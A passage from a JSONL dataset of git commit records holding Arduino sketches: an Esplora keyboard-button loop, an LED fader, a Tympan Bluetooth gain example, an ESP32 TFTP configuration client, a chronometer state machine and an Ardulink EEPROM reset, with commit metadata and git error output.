buttons:\n for (byte thisButton=0; thisButton<8; thisButton++) {\n boolean lastState = buttonStates[thisButton];\n boolean newState = Esplora.readButton(buttons[thisButton]);\n if (lastState != newState) { \/\/ Something changed!\n \/* \n The Keyboard library allows you to \"press\" and \"release\" the\n keys as two distinct actions. These actions can be\n linked to the buttons we're handling.\n *\/\n if (newState == PRESSED) {\n Keyboard.press(keystrokes[i]);\n }\n else if (newState == RELEASED) {\n Keyboard.release(keystrokes[i]);\n }\n }\n\n \/\/ Store the new button state, so you can sense a difference later:\n buttonStates[i] = newState;\n }\n \n \/*\n Wait a little bit (50ms) between a check and another.\n When a mechanical switch is pressed or released, the\n contacts may bounce very rapidly. If the check is done too\n fast, these bounces may be confused as multiple presses and\n may lead to unexpected behaviour.\n *\/\n delay(50);\n}\n\n","returncode":0,"stderr":"","license":"lgpl-2.1","lang":"Arduino"} {"commit":"f59b21ae5df134689925f8d43d5d8b4cde94904c","subject":"added first blinking lights sketch","message":"added first blinking lights sketch\n","repos":"mohitsuley\/HardwareTests","old_file":"BlinkingLightFirst.ino","new_file":"BlinkingLightFirst.ino","new_contents":"int led = 9;\nint fadeAmount = 5;\nint brightness = 0;\n\n\nvoid setup()\n{\n\n \/* add setup code here *\/\n\tpinMode(led,OUTPUT);\n}\n\nvoid loop()\n{\n\n \/* add main program code here *\/\n\n\tanalogWrite(led, brightness);\n\t\n\tbrightness = brightness + fadeAmount;\n\tif (brightness == 0 || brightness == 255)\n\t\tfadeAmount = -fadeAmount;\n\n\n\tdelay(30);\n\n\t\/*digitalWrite(led, HIGH);\n\tdelay(1000);\n\tdigitalWrite(led, LOW);\n\tdelay(1000);*\/\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'BlinkingLightFirst.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"94c4da5f585d178795e934247ac01ad1a23f88b0","subject":"Start an example of using the BLE by copying the example 06-AppTutorial\/01-BasicGain_wApp","message":"Start an example of using the BLE by copying the example 06-AppTutorial\/01-BasicGain_wApp\n","repos":"Tympan\/Tympan_Library,Tympan\/Tympan_Library,Tympan\/Tympan_Library","old_file":"examples\/07-Bluetooth\/01-BasicGain_wApp_BLE\/01-BasicGain_wApp_BLE.ino","new_file":"examples\/07-Bluetooth\/01-BasicGain_wApp_BLE\/01-BasicGain_wApp_BLE.ino","new_contents":"\/*\n* BasicGain_wApp\n*\n* Created: Chip Audette, June 2020\n* Purpose: Process audio using Tympan by applying gain.\n* Also, illustrate how to change Tympan setting via the TympanRemote App.\n*\n* Blue potentiometer adjusts the digital gain applied to the audio signal.\n*\n* Uses default sample rate of 44100 Hz with Block Size of 128\n*\n* TympanRemote App: https:\/\/play.google.com\/store\/apps\/details?id=com.creare.tympanRemote&hl=en_US\n*\n* MIT License. use at your own risk.\n*\/\n\n\/\/here are the libraries that we need\n#include <Tympan_Library.h> \/\/include the Tympan Library\n\n\/\/create audio library objects for handling the audio\nTympan myTympan(TympanRev::D); \/\/do TympanRev::D or TympanRev::C\nAudioInputI2S_F32 i2s_in; \/\/Digital audio *from* the Tympan AIC.\nAudioEffectGain_F32 gain1, gain2; \/\/Applies digital gain to audio data.\nAudioOutputI2S_F32 i2s_out; \/\/Digital audio *to* the Tympan AIC. Always list last to minimize latency\n\n\/\/Make all of the audio connections\nAudioConnection_F32 patchCord1(i2s_in, 0, gain1, 0); \/\/connect the Left input\nAudioConnection_F32 patchCord2(i2s_in, 1, gain2, 0); \/\/connect the Right input\nAudioConnection_F32 patchCord11(gain1, 0, i2s_out, 0); \/\/connect the Left gain to the Left output\nAudioConnection_F32 patchCord12(gain2, 0, i2s_out, 1); \/\/connect the Right gain to the Right output\n\n\/\/define class for handling the GUI on the app\n#include \"TympanRemoteFormatter.h\"\nTympanRemoteFormatter myGUI; \/\/Creates the GUI-writing class for interacting with TympanRemote App\n\n\n\/\/ define the setup() function, the function that is called once when the device is booting\nconst float input_gain_dB = 10.0f; \/\/gain on the microphone\nfloat digital_gain_dB = 0.0; \/\/this will be set by the app\nvoid setup() {\n\n \/\/begin the serial comms (for debugging)\n myTympan.beginBothSerial(); \n delay(3000);\n myTympan.println(\"BasicGain_wApp: starting setup()...\");\n\n \/\/allocate the dynamic memory for audio processing blocks\n AudioMemory_F32(10); \n\n \/\/Enable the Tympan to start the audio flowing!\n myTympan.enable(); \/\/ activate the Tympan's audio module\n\n \/\/Choose the desired input\n myTympan.inputSelect(TYMPAN_INPUT_ON_BOARD_MIC); \/\/ use the on board microphones\n \/\/myTympan.inputSelect(TYMPAN_INPUT_JACK_AS_MIC); \/\/ use the microphone jack - defaults to mic bias 2.5V\n \/\/myTympan.inputSelect(TYMPAN_INPUT_JACK_AS_LINEIN); \/\/ use the microphone jack - defaults to mic bias OFF\n\n \/\/Set the desired volume levels\n myTympan.volume_dB(0); \/\/ headphone amplifier. -63.6 to +24 dB in 0.5dB steps.\n myTympan.setInputGain_dB(input_gain_dB); \/\/ set input volume, 0-47.5dB in 0.5dB setps\n\n \/\/Create the GUI description (but not yet transmitted to the App...that's after it connects)\n createTympanRemoteLayout();\n\n Serial.println(\"Setup complete.\");\n} \/\/end setup()\n\n\n\/\/ define the loop() function, the function that is repeated over and over for the life of the device\nvoid loop() {\n \n \/\/look for in-coming serial messages (via USB or via Bluetooth)\n if (Serial.available()) respondToByte((char)Serial.read()); \/\/USB Serial\n if (Serial1.available()) respondToByte((char)Serial1.read()); \/\/BT Serial\n\n} \/\/end loop();\n\n\n\/\/ \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ Servicing routines\n\n\/\/respond to serial commands\nvoid respondToByte(char c) {\n myTympan.print(\"Received character \"); myTympan.println(c);\n \n switch (c) {\n case 'J': case 'j':\n printTympanRemoteLayout();\n break;\n case 'k':\n changeGain(3.0);\n printGainLevels();\n break;\n case 'K':\n changeGain(-3.0);\n printGainLevels();\n break;\n }\n}\n\n\/\/ Print the layout for the Tympan Remote app, in a JSON-ish string\n\/\/ (single quotes are used here, whereas JSON spec requires double quotes. The app converts ' to \" before parsing the JSON string).\n\/\/ Please don't put commas or colons in your ID strings!\nvoid printTympanRemoteLayout(void) {\n myTympan.println(myGUI.asString());\n}\n\n\/\/define the GUI for the App\nvoid createTympanRemoteLayout(void) {\n \n \/\/ Create some temporary variables\n TR_Page *page_h; \/\/dummy handle for a page\n TR_Card *card_h; \/\/dummy handle for a card\n\n \/\/Add first page to GUI\n page_h = myGUI.addPage(\"MyFirstPage\");\n card_h = page_h->addCard(\"Change Loudness\");\n #if 0\n card_h->addButton(\"-\",\"K\"); \/\/assumes default ID and default width. \n card_h->addButton(\"+\",\"k\"); \/\/assumes default ID and default width\n #else\n card_h->addButton(\"-\",\"K\",\"minusButton\",6); \/\/displayed string, command, button ID, button width (out of 12)\n card_h->addButton(\"+\",\"k\",\"plusButton\",6); \/\/displayed string, command, button ID, button width (out of 12)\n #endif\n \n \/\/add some pre-defined pages to the GUI\n myGUI.addPredefinedPage(\"serialMonitor\");\n myGUI.addPredefinedPage(\"plot\");\n}\n\n\n\/\/change the gain from the App\nvoid changeGain(float change_in_gain_dB) {\n digital_gain_dB = digital_gain_dB + change_in_gain_dB;\n gain1.setGain_dB(digital_gain_dB); \/\/set the gain of the Left-channel gain processor\n gain2.setGain_dB(digital_gain_dB); \/\/set the gain of the Right-channel gain processor\n}\n\n\n\/\/Print gain levels \nvoid printGainLevels(void) {\n myTympan.print(\"Analog Input Gain (dB) = \"); \n myTympan.println(input_gain_dB); \/\/print text to Serial port for debugging\n myTympan.print(\"Digital Gain (dB) = \"); \n myTympan.println(digital_gain_dB); \/\/print text to Serial port for debugging\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/07-Bluetooth\/01-BasicGain_wApp_BLE\/01-BasicGain_wApp_BLE.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5958f06585f9509969b36e948c2644416a49e4d0","subject":"TFTP\u30af\u30e9\u30a4\u30a2\u30f3\u30c8\u306e\u30b5\u30f3\u30d7\u30eb\u30d7\u30ed\u30b0\u30e9\u30e0","message":"TFTP\u30af\u30e9\u30a4\u30a2\u30f3\u30c8\u306e\u30b5\u30f3\u30d7\u30eb\u30d7\u30ed\u30b0\u30e9\u30e0\n","repos":"bokunimowakaru\/esp,bokunimowakaru\/esp,bokunimowakaru\/esp,bokunimowakaru\/esp,bokunimowakaru\/esp,bokunimowakaru\/esp","old_file":"2_example\/example58_tftp\/example58_tftp.ino","new_file":"2_example\/example58_tftp\/example58_tftp.ino","new_contents":"\/*******************************************************************************\nExample 58(=32+26): \u30bb\u30f3\u30b5\u30c7\u30d0\u30a4\u30b9\u7528 TFTP\u30af\u30e9\u30a4\u30a2\u30f3\u30c8 \u8a2d\u5b9a\n\n\u672cESP\u30e2\u30b8\u30e5\u30fc\u30eb\u306f\u3001TFTP\u30b5\u30fc\u30d0\u4e0a\u306e\u8a2d\u5b9a\u30d5\u30a1\u30a4\u30eb\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u3001\u30e2\u30b8\u30e5\u30fc\u30eb\u5185\u306e\n\u8a2d\u5b9a\u3092\u5909\u66f4\u3057\u307e\u3059\u3002\n\n\u203b\u672c\u30b5\u30f3\u30d7\u30eb\u4f5c\u6210\u306e\u6bb5\u968e\u3067\u306f\u3001(\u66ab\u5b9a\u7684\u306b)\u4e0b\u8a18\u30e9\u30a4\u30d6\u30e9\u30ea\u3092\u4f7f\u7528\u3057\u307e\u3057\u305f\u3002\n https:\/\/github.com\/copercini\/arduino-esp32-SPIFFS\n\u203b\u4eca\u5f8c\u3001esp-idf\u3084\u4e0a\u8a18\u30e9\u30a4\u30d6\u30e9\u30ea\u3092\u57fa\u306b\u3057\u305f\u3082\u306e\u304c\u516c\u5f0f\u30b5\u30dd\u30fc\u30c8\u3055\u308c\u308b\u3068\u601d\u3044\u307e\u3059\u3002\n\nRaspberry Pi\u3078\u306eTFTP\u30b5\u30fc\u30d0\u306e\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u65b9\u6cd5\n $ sudo apt-get install tftpd-hpa\n \n \u8a2d\u5b9a\u30d5\u30a1\u30a4\u30eb(\/etc\/default\/tftpd-hpa) \u4f8b\n # \/etc\/default\/tftpd-hpa\n TFTP_USERNAME=\"tftp\"\n TFTP_DIRECTORY=\"\/srv\/tftp\"\n TFTP_ADDRESS=\"0.0.0.0:69\"\n\nTFTP\u30b5\u30fc\u30d0\u306e\u8d77\u52d5\u3068\u505c\u6b62\n \/etc\/init.d\/tftpd-hpa start\n \/etc\/init.d\/tftpd-hpa stop\n\n\u8ee2\u9001\u7528\u306e\u30d5\u30a1\u30a4\u30eb\u3092\u4fdd\u5b58\n $ echo \"Hello! This is from RasPi\" > \/srv\/tftp\/esp8266_tftpc_1.ini\n\n\u3010\u6ce8\u610f\u4e8b\u9805\u3011\n\u30fbESP\u30e2\u30b8\u30e5\u30fc\u30eb\u306eTFTP\u30af\u30e9\u30a4\u30a2\u30f3\u30c8\u3092\u8d77\u52d5\u3057\u305f\u307e\u307e\u306b\u3059\u308b\u3068\u3001\u5371\u967a\u3067\u3059\n\u30fbTFTP\u30b5\u30fc\u30d0\u8d77\u52d5\u3057\u305f\u307e\u307e\u306b\u3059\u308b\u3068\u3001Raspberry Pi\u304c\u8105\u5a01\u306b\u3055\u3089\u3055\u308c\u307e\u3059\u3002\n\u30fb\u30a6\u30a3\u30eb\u30b9\u3084\u30ef\u30fc\u30e0\u304c\u4fb5\u5165\u3059\u308b\u3068\u3001\u540c\u3058\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u4e0a\u306e\u5168\u3066\u306e\u6a5f\u5668\u3078\u611f\u67d3\u3059\u308b\u6050\u308c\u304c\n\u3000\u9ad8\u307e\u308a\u307e\u3059\u3002\n\n Copyright (c) 2016-2017 Wataru KUNINO\n*******************************************************************************\/\n#include <WiFi.h> \/\/ ESP32\u7528WiFi\u30e9\u30a4\u30d6\u30e9\u30ea\n#include <WiFiUdp.h> \/\/ UDP\u901a\u4fe1\u3092\u884c\u3046\u30e9\u30a4\u30d6\u30e9\u30ea\n#include \"esp_deep_sleep.h\" \/\/ ESP32\u7528Deep Sleep \u30e9\u30a4\u30d6\u30e9\u30ea\n#define PIN_EN 2 \/\/ GPIO 2(24\u756a\u30d4\u30f3)\u3092\u30bb\u30f3\u30b5\u306e\u96fb\u6e90\u306b\n#define PIN_AIN 34 \/\/ GPIO 34 ADC1_CH6(6\u756a\u30d4\u30f3)\u3092ADC\u306b\n#define SSID \"1234ABCD\" \/\/ \u7121\u7ddaLAN\u30a2\u30af\u30bb\u30b9\u30dd\u30a4\u30f3\u30c8\u306eSSID\n#define PASS \"password\" \/\/ \u30d1\u30b9\u30ef\u30fc\u30c9\n#define SENDTO \"192.168.0.255\" \/\/ \u9001\u4fe1\u5148\u306eIP\u30a2\u30c9\u30ec\u30b9\n#define PORT 1024 \/\/ \u9001\u4fe1\u306e\u30dd\u30fc\u30c8\u756a\u53f7\n#define SLEEP_P 50*1000000 \/\/ \u30b9\u30ea\u30fc\u30d7\u6642\u9593 50\u79d2(uint32_t)\n#define DEVICE \"tftpc_1,\" \/\/ \u30c7\u30d0\u30a4\u30b9\u540d(5\u6587\u5b57+\"_\"+\u756a\u53f7+\",\")\n#define TFTP_PORT_C 69 \/\/ TFTP\u63a5\u7d9a\u7528\u30dd\u30fc\u30c8\u756a\u53f7(\u65e2\u5b9a)\n#define TFTP_PORT_T 1234 \/\/ TFTP\u8ee2\u9001\u7528\u30dd\u30fc\u30c8\u756a\u53f7(\u4efb\u610f)\n#define TFTP_TIMEOUT 10 \/\/ TFTP\u5f85\u3061\u53d7\u3051\u6642\u9593(ms)\n#define TFTP_FILENAME \"\/srv\/tftp\/esp8266_tftpc_1.ini\" \/\/ TFTP\u53d7\u4fe1\u30d5\u30a1\u30a4\u30eb\u540d\nchar data[512]; \/\/ TFTP\u30c7\u30fc\u30bf\u7528\u5909\u6570\nWiFiUDP tftp; \/\/ TFTP\u901a\u4fe1\u7528\u306e\u30a4\u30f3\u30b9\u30bf\u30f3\u30b9\u3092\u5b9a\u7fa9\n\nvoid setup(){ \/\/ \u8d77\u52d5\u6642\u306b\u4e00\u5ea6\u3060\u3051\u5b9f\u884c\u3059\u308b\u95a2\u6570\n pinMode(PIN_AIN,INPUT); \/\/ \u30a2\u30ca\u30ed\u30b0\u5165\u529b\u306e\u8a2d\u5b9a\n pinMode(PIN_EN,OUTPUT); \/\/ \u30bb\u30f3\u30b5\u7528\u306e\u96fb\u6e90\u3092\u51fa\u529b\u306b\n Serial.begin(115200); \/\/ \u52d5\u4f5c\u78ba\u8a8d\u306e\u305f\u3081\u306e\u30b7\u30ea\u30a2\u30eb\u51fa\u529b\u958b\u59cb\n Serial.println(\"ESP32 eg.26 TFTP\"); \/\/ \u300cESP32 eg.26\u300d\u3092\u30b7\u30ea\u30a2\u30eb\u51fa\u529b\u8868\u793a\n WiFi.mode(WIFI_STA); \/\/ \u7121\u7ddaLAN\u3092STA\u30e2\u30fc\u30c9\u306b\u8a2d\u5b9a\n delay(10); \/\/ ESP32\u306b\u5fc5\u8981\u306a\u5f85\u3061\u6642\u9593\n WiFi.begin(SSID,PASS); \/\/ \u7121\u7ddaLAN\u30a2\u30af\u30bb\u30b9\u30dd\u30a4\u30f3\u30c8\u3078\u63a5\u7d9a\n while(WiFi.status() != WL_CONNECTED){ \/\/ \u63a5\u7d9a\u306b\u6210\u529f\u3059\u308b\u307e\u3067\u5f85\u3064\n delay(500); \/\/ \u5f85\u3061\u6642\u9593\u51e6\u7406\n digitalWrite(PIN_EN,!digitalRead(PIN_EN)); \/\/ LED\u306e\u70b9\u6ec5\n Serial.print(\".\");\n }\n Serial.println(WiFi.localIP()); \/\/ \u672c\u6a5f\u306eIP\u30a2\u30c9\u30ec\u30b9\u3092\u30b7\u30ea\u30a2\u30eb\u51fa\u529b\n tftpStart(); \/\/ TFTP\u306e\u958b\u59cb\n while( tftpGet() ); \/\/ \u30c7\u30fc\u30bf\u53d7\u4fe1\n}\n\nvoid tftpStart(){\n tftp.begin(TFTP_PORT_T); \/\/ TFTP(\u53d7\u4fe1)\u306e\u958b\u59cb\n tftp.beginPacket(SENDTO, TFTP_PORT_C); \/\/ TFTP\u9001\u4fe1\u5148\u3092\u8a2d\u5b9a\n tftp.write(0x0); tftp.write(0x01); \/\/ Read Request\u30b3\u30de\u30f3\u30c9(RRQ)\n tftp.print(TFTP_FILENAME); \/\/ \u30d5\u30a1\u30a4\u30eb\u540d\n tftp.write(0x0); \/\/ \u30d5\u30a1\u30a4\u30eb\u540d\u306e\u7d42\u7aef\n tftp.print(\"netascii\"); \/\/ ASCII\u30e2\u30fc\u30c9\n tftp.write(0x0); \/\/ \u30e2\u30fc\u30c9\u540d\u306e\u7d42\u7aef\n tftp.endPacket(); \/\/ TFTP\u9001\u4fe1\u306e\u7d42\u4e86(\u5b9f\u969b\u306b\u9001\u4fe1\u3059\u308b)\n Serial.println(\"Send TFTP RRQ\"); \/\/ \u9001\u4fe1\u5b8c\u4e86\u3092\u30b7\u30ea\u30a2\u30eb\u7aef\u672b\u3078\u8868\u793a\n}\n\nint tftpGet(){\n int len=0,time=0;\n IPAddress ip;\n \n while(len<5){ \/\/ \u672a\u53d7\u4fe1\u306e\u9593\u3001\u7e70\u308a\u8fd4\u3057\u5b9f\u884c\n delay(1); \/\/ 1ms\u306e\u5f85\u3061\u6642\u9593\n len = tftp.parsePacket(); \/\/ \u53d7\u4fe1\u30d1\u30b1\u30c3\u30c8\u9577\u3092\u5909\u6570len\u306b\u4ee3\u5165\n time++; \/\/ \u6642\u9593\u306e\u30ab\u30a6\u30f3\u30c8\n if(time>TFTP_TIMEOUT) return 0; \/\/ \u30bf\u30a4\u30e0\u30a2\u30a6\u30c8(\u5fdc\u7b54\u5024\u306f0)\n }\n ip=tftp.remoteIP(); \/\/ \u30b5\u30fc\u30d0\u306eIP\u30a2\u30c9\u30ec\u30b9\u3092\u53d6\u5f97\n tftp.read(data, 511); \/\/ \u6700\u5927511\u30d0\u30a4\u30c8\u307e\u3067\u53d7\u4fe1\u3059\u308b\n Serial.print(\"Recieved (\");\n for(int i=0;i<4;i++) Serial.print(data[i],DEC); \/\/ \u30b3\u30de\u30f3\u30c9\u3001\u30d6\u30ed\u30c3\u30af\u756a\u53f7\n Serial.print(\") \");\n Serial.print(len - 4); \/\/ \u53d7\u4fe1\u30c7\u30fc\u30bf\u9577\u3092\u8868\u793a\n Serial.print(\" Bytes from \");\n Serial.println(ip); \/\/ \u30b5\u30fc\u30d0\u306eIP\u30a2\u30c9\u30ec\u30b9\u3092\u8868\u793a\n if(len > 511){\n Serial.println(\"FILE SIZE ERROR\"); \/\/ \u8907\u6570\u30d6\u30ed\u30c3\u30af\u306e\u8ee2\u9001\u306b\u306f\u5bfe\u5fdc\u3057\u306a\u3044\n return -1; \/\/ ERROR(\u5fdc\u7b54\u5024\u306f-1)\n }\n if(data[0]==0x0 && data[1]==0x3){ \/\/ TFTP\u8ee2\u9001\u30c7\u30fc\u30bf\u306e\u6642\n Serial.print(&data[4]); \/\/ TFTP\u53d7\u4fe1\u30c7\u30fc\u30bf\u3092\u8868\u793a\u3059\u308b\n Serial.println(\"[EOF]\");\n tftp.beginPacket(ip, TFTP_PORT_T); \/\/ TFTP ACK\u9001\u4fe1\u5148\u3092\u8a2d\u5b9a\n tftp.write(0x0); tftp.write(0x04); \/\/ \u53d7\u4fe1\u6210\u529f\u30b3\u30de\u30f3\u30c9(ACK)\u3092\u9001\u4fe1\n tftp.write(data[2]); \/\/ \u30d6\u30ed\u30c3\u30af\u756a\u53f7\u306e\u4e0a\u4f4d1\u30d0\u30a4\u30c8\u3092\u9001\u4fe1\n tftp.write(data[3]); \/\/ \u30d6\u30ed\u30c3\u30af\u756a\u53f7\u306e\u4e0b\u4f4d1\u30d0\u30a4\u30c8\u3092\u9001\u4fe1\n tftp.endPacket(); \/\/ TFTP\u9001\u4fe1\u306e\u7d42\u4e86(\u5b9f\u969b\u306b\u9001\u4fe1\u3059\u308b)\n return len;\n }\n return -1; \/\/ ERROR(\u5fdc\u7b54\u5024\u306f-1)\n}\n\nvoid loop() {\n WiFiUDP udp; \/\/ UDP\u901a\u4fe1\u7528\u306e\u30a4\u30f3\u30b9\u30bf\u30f3\u30b9\u3092\u5b9a\u7fa9\n int adc; \/\/ \u6574\u6570\u578b\u5909\u6570adc\u3092\u5b9a\u7fa9\n \n digitalWrite(PIN_EN,HIGH); \/\/ \u30bb\u30f3\u30b5\u7528\u306e\u96fb\u6e90\u3092ON\u306b\n delay(5); \/\/ \u8d77\u52d5\u5f85\u3061\u6642\u9593\n adc=(int)mvAnalogIn(PIN_AIN); \/\/ AD\u5909\u63db\u5668\u304b\u3089\u5024\u3092\u53d6\u5f97\n digitalWrite(PIN_EN,LOW); \/\/ \u30bb\u30f3\u30b5\u7528\u306e\u96fb\u6e90\u3092OFF\u306b\n udp.beginPacket(SENDTO, PORT); \/\/ UDP\u9001\u4fe1\u5148\u3092\u8a2d\u5b9a\n udp.print(DEVICE); \/\/ \u30c7\u30d0\u30a4\u30b9\u540d\u3092\u9001\u4fe1\n udp.println(adc); \/\/ \u5909\u6570adc\u306e\u5024\u3092\u9001\u4fe1\n Serial.println(adc); \/\/ \u30b7\u30ea\u30a2\u30eb\u51fa\u529b\u8868\u793a\n udp.endPacket(); \/\/ UDP\u9001\u4fe1\u306e\u7d42\u4e86(\u5b9f\u969b\u306b\u9001\u4fe1\u3059\u308b)\n delay(200); \/\/ \u9001\u4fe1\u5f85\u3061\u6642\u9593\n esp_deep_sleep(SLEEP_P); \/\/ Deep Sleep\u30e2\u30fc\u30c9\u3078\u79fb\u884c\n}\n\nfloat mvAnalogIn(uint8_t PIN){\n int in0,in3;\n float ad0,ad3;\n \n analogSetPinAttenuation(PIN,ADC_11db);\n in3=analogRead(PIN);\n \n if( in3 > 2599 ){\n ad3 = -1.457583e-7 * (float)in3 * (float)in3\n + 1.510116e-3 * (float)in3\n - 0.573300;\n }else{\n ad3 = 8.378998e-4 * (float)in3 + 1.891456e-1;\n }\n if( in3 < 200 ){\n analogSetPinAttenuation(PIN,ADC_0db);\n in0=analogRead(PIN);\n ad0 = 2.442116e-4 * (float)in0 + 1.075584e-1;\n if( in3 >= 100 ){\n ad3 = ad3 * ((float)in3 - 100.) \/ 100.\n + ad0 * (200. - (float)in3) \/ 100.;\n }else{\n ad3 = ad0;\n }\n }\n return ad3 * 1000.;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec '2_example\/example58_tftp\/example58_tftp.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5f562211b7c347c0ae75d7896a83c08248345844","subject":"Added state-machine","message":"Added state-machine\n","repos":"hackerspacesv\/protothreads_arduino,hackerspacesv\/protothreads_arduino","old_file":"examples\/04_SimpleChronometerStateMachine\/04_SimpleChronometerStateMachine.ino","new_file":"examples\/04_SimpleChronometerStateMachine\/04_SimpleChronometerStateMachine.ino","new_contents":"\/\/ Include to use LCD display\n\/\/#include <LiquidCrystal.h>\n\/\/ Include to show\n#include <stdio.h>\n\n\/\/const int rs = 12, en = 11, d4 = 5, d5 = 4, d6 = 3, d7 = 2;\n\/\/LiquidCrystal lcd(rs, en, d4, d5, d6, d7);\n\nconst int btn1 = 9;\nconst int btn2 = 10;\n\nvoid setup() {\n \/\/lcd.begin(16, 2);\n Serial.begin(9600);\n \/\/lcd.print(stringTime);\n Serial.println(\"00:00:00\");\n \n \/\/ Initialize Button Input\n pinMode(btn1, INPUT_PULLUP);\n pinMode(btn2, INPUT_PULLUP);\n}\n\nlong lastTimestamp = 0;\nlong elapsedSeconds = 0;\nlong lastEvtBtn1 = 0;\nlong lastEvtBtn2 = 0;\nbool clockEnabled = false;\n\nenum valid_states {\n WAIT = 0,\n DISPLAY_TIME = 1,\n START_STOP_CLOCK = 2,\n RESET = 3\n};\n\nint machine_state = 0;\n\nbool tick_flag = false;\nbool btn1_flag = false;\nbool btn2_flag = false;\n\nvoid displayElapsedTime(long elapsedSeconds) {\n char stringTime[9];\n \n int hours = elapsedSeconds\/(60*60);\n int minutes = (elapsedSeconds-(hours*60*60))\/60;\n int seconds = elapsedSeconds-(hours*60*60)-(minutes*60);\n\n \/\/ Format time to display\n sprintf(stringTime, \"%02d:%02d:%02d\", hours, minutes, seconds);\n\n \/\/ Display on LCD\n \/\/lcd.clear();\n \/\/lcd.setCursor(0,0);\n \/\/lcd.print(stringTime);\n Serial.println(stringTime);\n}\n\nvoid loop() {\n \/\/ Este evento se llama cada segundo\n if((millis()-lastTimestamp)>1000) {\n tick_flag = true;\n lastTimestamp = millis();\n }\n\n \/\/ Eventos generados cada vez que se presiona un bot\u00f3n\n \/\/btn1_flag |= !digitalRead(btn1);\n \/\/btn2_flag |= !digitalRead(btn2);\n\n \/\/ Con eliminador de rebote:\n if((millis()-lastEvtBtn1)>100 && !digitalRead(btn1)) {\n btn1_flag = 1;\n lastEvtBtn1 = millis();\n }\n if((millis()-lastEvtBtn2)>100 && !digitalRead(btn2)) {\n btn2_flag = 1;\n lastEvtBtn2 = millis();\n }\n \n switch(machine_state) {\n case WAIT:\n if(btn1_flag) {\n btn1_flag = false;\n machine_state = START_STOP_CLOCK;\n break;\n }\n if(btn2_flag) {\n btn2_flag = false;\n machine_state = RESET;\n break;\n }\n if(tick_flag) {\n tick_flag = false;\n machine_state = DISPLAY_TIME;\n break;\n } \n break;\n \n case DISPLAY_TIME:\n \/\/ Display on screen or serial\n displayElapsedTime(elapsedSeconds);\n \n \/\/ Increase clock only if clockEnabled\n if(clockEnabled)\n elapsedSeconds += 1;\n\n \/\/ automatically change state for next run\n machine_state = WAIT;\n break;\n\n case START_STOP_CLOCK:\n clockEnabled = !clockEnabled;\n machine_state = WAIT;\n break;\n \n case RESET:\n elapsedSeconds = 0;\n machine_state = WAIT;\n break;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/04_SimpleChronometerStateMachine\/04_SimpleChronometerStateMachine.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"de08fd951e1b7dff65b101f5274899f984b1c5d7","subject":"added reset sketch for UniqueID example","message":"added reset sketch for UniqueID example","repos":"Ardulink\/Ardulink-2,Ardulink\/Ardulink-2,Ardulink\/Ardulink-2","old_file":"deploy-dist\/rootfolder\/examples\/UniqueID\/sketch\/resetUniqueID\/resetUniqueID.ino","new_file":"deploy-dist\/rootfolder\/examples\/UniqueID\/sketch\/resetUniqueID\/resetUniqueID.ino","new_contents":"\/*\nCopyright 2013 project Ardulink http:\/\/www.ardulink.org\/\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n\nThis sketch is an example to understand how Arduino can recognize ALProtocol. \nHowever, it can easily be reused for their own purposes or as a base for a library. \nRead carefully the comments. When you find \"this is general code you can reuse\"\nthen it means that it is generic code that you can use to manage the ALProtocol. \nWhen you find \"this is needed just as example for this sketch\" then it means that \nyou code useful for a specific purpose. In this case you have to modify it to suit \nyour needs.\n*\/\n#include <EEPROM.h>\n\n\n\/*\nUnique ID is suggested by connected PC. Then it is stored and used for ever.\nUnique ID is stored in EEPROM at a given address. A magic number (2 bytes) \"LZ\"\nis used to understand if it is already stored or not.\nActually Unique ID is a UUID in the string format (36 bytes instead of just 16, yes it could be better).\nhttps:\/\/en.wikipedia.org\/wiki\/Universally_unique_identifier\nSo the final length to store the unique id is 38 bytes.\n*\/\n#define UNIQUE_ID_EEPROM_ADDRESS 0\n#define UNIQUE_ID_LENGTH 38\n#define UNIQUE_ID_MAGIC_NUMBER_HIGH 76\n#define UNIQUE_ID_MAGIC_NUMBER_LOW 90\n\nvoid resetUniqueID() {\n\n char buffer[UNIQUE_ID_LENGTH + 1];\n for(int i = 0; i < UNIQUE_ID_LENGTH + 1; i++) {\n buffer[i] = 0;\n }\n EEPROM.put( UNIQUE_ID_EEPROM_ADDRESS, buffer );\n}\n\nvoid setup(){\n resetUniqueID();\n}\n\nvoid loop(){\n}\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'deploy-dist\/rootfolder\/examples\/UniqueID\/sketch\/resetUniqueID\/resetUniqueID.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"c935b1cd48bbb4a051bf02efa99705d7b195ab50","subject":"Updated Sensor Code","message":"Updated Sensor Code\n","repos":"sassystacks\/DASS","old_file":"Sensors\/Final_Lidar_Pixy_code_RichardEdit2\/Final_Lidar_Pixy_code_RichardEdit2.ino","new_file":"Sensors\/Final_Lidar_Pixy_code_RichardEdit2\/Final_Lidar_Pixy_code_RichardEdit2.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/sassystacks\/DASS.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"18ae7bc43738a4dbc44f5efcf0a7e6eab2fe36be","subject":"added arduino code","message":"added arduino 